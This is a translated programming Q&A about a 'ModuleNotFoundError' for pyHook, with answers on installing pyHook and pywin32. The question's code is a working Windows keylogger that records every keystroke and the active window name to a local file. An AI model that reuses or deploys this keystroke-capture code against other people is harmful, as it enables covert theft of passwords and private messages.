【问题标题】:Getting "ModuleNotFoundError: No module named 'pyHook'" even with module installed即使安装了模块,也会出现“ModuleNotFoundError: No module named 'pyHook'”
【发布时间】:2017-06-01 13:13:44
【问题描述】:

所以在我的代码中,我安装了我正在使用的所有模块,但我总是收到错误消息说它找不到模块。请帮忙谢谢。

代码:

    import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime()
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )


def OnKeyboardEvent(event):
    global x 

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
            f.write("[" + x +"|"+event.WindowName + "] : " )

    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

    else :
        with open(date, "a") as f:
            f.write(event.Key)


    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

【问题讨论】:

    标签: python


    【解决方案1】:

    尝试以下方法:

    首先,从here下载pyhook,确保你选择了正确的版本。

    其次,在下载的文件夹中打开cmd,输入pip install pyHook-1.5.1-cp27-none-win32.whl,或者如果你选择其他版本,输入相关版本。

    【讨论】:

    • 感谢 mate 修复了 pyHook 问题,但我仍然遇到与 Pythoncom 相同的问题,当我执行 pip 操作时,我得到一个很长的红色代码,它在 python 中不起作用。
    • 您可以阅读here 获取pythoncom 帮助。请要求接受答案是否解决了您的问题。
    • Tnx,请更新pythoncom lib问题是否修复。
    • 不抱歉,当我运行 exe 文件时,它冻结了一段时间,并说我没有 python 2.7(我有)。每次我尝试它时都会发生这种情况,即使重新下载它也是如此。
    • 你安装了pywin32吗?
    猜你喜欢
    • 2022-10-22
    • 2022-12-21
    • 1970-01-01
    • 2019-11-29
    • 1970-01-01
    • 1970-01-01
    • 2018-12-07
    • 2022-11-08
    • 1970-01-01
    相关资源
    最近更新 更多